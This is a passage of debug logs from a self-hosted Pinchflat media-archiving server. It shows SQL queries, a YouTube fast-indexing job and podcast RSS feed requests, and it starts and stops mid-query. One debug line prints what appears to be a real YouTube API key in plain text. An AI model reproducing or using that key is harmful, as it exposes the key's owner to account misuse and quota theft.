s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["32c68f3a-7ceb-4fd9-9852-b43421374079"] 16:07:53.792 [info] {"args":{"id":1},"id":3799879,"meta":{},"system_time":1770761273792892383,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:53.793 [debug] QUERY OK source="media_items" db=0.5ms idle=554.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [22, 2000] 16:07:53.794 [debug] QUERY OK source="source_metadata" db=0.5ms idle=7.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [22] 16:07:53.794 [info] Sent 200 in 2ms 16:07:53.794 [debug] QUERY OK source="sources" db=1.8ms idle=554.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:07:53.795 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:53.795 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:53.795 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:53.795 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:07:53.795 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:53.795 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:53.869 [debug] QUERY OK source="media_items" db=0.6ms idle=73.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:07:53.879 [debug] QUERY OK source="media_items" db=9.6ms idle=75.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:07:53.902 [debug] QUERY OK source="tasks" db=1.4ms idle=1.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799918, 1, ~U[2026-02-10 22:07:53Z], ~U[2026-02-10 22:07:53Z]] 16:07:53.902 [info] {"args":{"id":1},"id":3799879,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109872,"event":"job:stop","queue_time":529447,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:53.955 [info] GET /sources/c51e32e0-2c05-4283-a353-f696e78984fa/feed.xml 16:07:53.955 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c51e32e0-2c05-4283-a353-f696e78984fa"} Pipelines: [:maybe_basic_auth] 16:07:53.956 [debug] QUERY OK source="sources" db=0.2ms idle=55.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c51e32e0-2c05-4283-a353-f696e78984fa"] 16:07:53.956 [debug] QUERY OK source="media_items" db=0.3ms idle=55.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [13, 2000] 16:07:53.957 [debug] QUERY OK source="source_metadata" db=0.1ms idle=54.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [13] 16:07:53.957 [debug] QUERY OK source="media_metadata" db=0.0ms idle=54.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564168] 16:07:53.957 [info] Sent 200 in 1ms 16:07:55.559 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 16:07:55.560 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 16:07:55.560 [debug] QUERY OK source="sources" db=0.1ms idle=1603.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 16:07:55.563 [debug] QUERY OK source="media_items" db=2.5ms idle=1603.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 16:07:55.563 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1606.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 16:07:55.564 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1606.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564175] 16:07:55.564 [info] Sent 200 in 4ms 16:07:56.049 [info] GET /sources/d22f5c77-f457-445b-98f3-40ec44dd3036/feed.xml 16:07:56.049 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d22f5c77-f457-445b-98f3-40ec44dd3036"} Pipelines: [:maybe_basic_auth] 16:07:56.049 [debug] QUERY OK source="sources" db=0.1ms idle=488.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d22f5c77-f457-445b-98f3-40ec44dd3036"] 16:07:56.050 [debug] QUERY OK source="media_items" db=1.0ms idle=486.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [28, 2000] 16:07:56.053 [debug] QUERY OK source="source_metadata" db=0.0ms idle=489.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [28] 16:07:56.053 [debug] QUERY OK source="media_metadata" db=0.0ms idle=489.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564183] 16:07:56.054 [info] Sent 200 in 5ms 16:07:56.896 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 16:07:56.896 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 16:07:56.896 [debug] QUERY OK source="sources" db=0.2ms idle=846.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 16:07:56.897 [debug] QUERY OK source="media_items" db=0.9ms idle=846.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 16:07:56.898 [debug] QUERY OK source="source_metadata" db=0.0ms idle=844.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 16:07:56.898 [debug] QUERY OK source="media_metadata" db=0.0ms idle=844.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564179] 16:07:56.898 [info] Sent 200 in 2ms 16:07:57.263 [info] GET /sources/1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1/feed.xml 16:07:57.263 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1"} Pipelines: [:maybe_basic_auth] 16:07:57.263 [debug] QUERY OK source="sources" db=0.3ms idle=473.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["1ceb8b0f-66ff-466e-b4d4-3693b3dd1ee1"] 16:07:57.264 [debug] QUERY OK source="media_items" db=0.3ms idle=367.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [8, 2000] 16:07:57.264 [debug] QUERY OK source="source_metadata" db=0.0ms idle=366.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [8] 16:07:57.264 [info] Sent 200 in 1ms 16:07:57.792 [info] {"source":"oban","duration":10163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:58.462 [info] GET /sources/03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25/feed.xml 16:07:58.462 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"} Pipelines: [:maybe_basic_auth] 16:07:58.462 [debug] QUERY OK source="sources" db=0.1ms idle=1198.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03fa4859-7b6c-4a0d-aca4-32d3dd1f2b25"] 16:07:58.463 [debug] QUERY OK source="media_items" db=0.8ms idle=1198.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [16, 2000] 16:07:58.463 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1199.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [16] 16:07:58.463 [info] Sent 200 in 1ms 16:07:59.556 [info] GET /sources/c4712696-206d-4bb6-b3f1-860701c1e3b3/feed.xml 16:07:59.556 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c4712696-206d-4bb6-b3f1-860701c1e3b3"} Pipelines: [:maybe_basic_auth] 16:07:59.557 [debug] QUERY OK source="sources" db=0.1ms idle=1094.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c4712696-206d-4bb6-b3f1-860701c1e3b3"] 16:07:59.557 [debug] QUERY OK source="media_items" db=0.2ms idle=1093.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [23, 2000] 16:07:59.557 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1094.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [23] 16:07:59.558 [debug] QUERY OK source="media_metadata" db=0.0ms idle=766.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563098] 16:07:59.558 [info] Sent 200 in 1ms 16:08:00.208 [info] GET /sources/3605c76f-ca58-49ca-8d6f-c7997a9aae9b/feed.xml 16:08:00.208 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "3605c76f-ca58-49ca-8d6f-c7997a9aae9b"} Pipelines: [:maybe_basic_auth] 16:08:00.208 [debug] QUERY OK source="sources" db=0.1ms idle=650.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["3605c76f-ca58-49ca-8d6f-c7997a9aae9b"] 16:08:00.210 [debug] QUERY OK source="media_items" db=1.9ms idle=650.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [33, 2000] 16:08:00.217 [debug] QUERY OK source="source_metadata" db=0.0ms idle=659.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [33] 16:08:00.217 [debug] QUERY OK source="media_metadata" db=0.0ms idle=659.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563702] 16:08:00.218 [info] Sent 200 in 10ms 16:08:00.788 [info] GET /sources/66a9988d-2485-4058-98cc-a70582045a5a/feed.xml 16:08:00.789 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "66a9988d-2485-4058-98cc-a70582045a5a"} Pipelines: [:maybe_basic_auth] 16:08:00.789 [debug] QUERY OK source="sources" db=0.1ms idle=996.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["66a9988d-2485-4058-98cc-a70582045a5a"] 16:08:00.796 [debug] QUERY OK source="media_items" db=7.0ms idle=581.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE 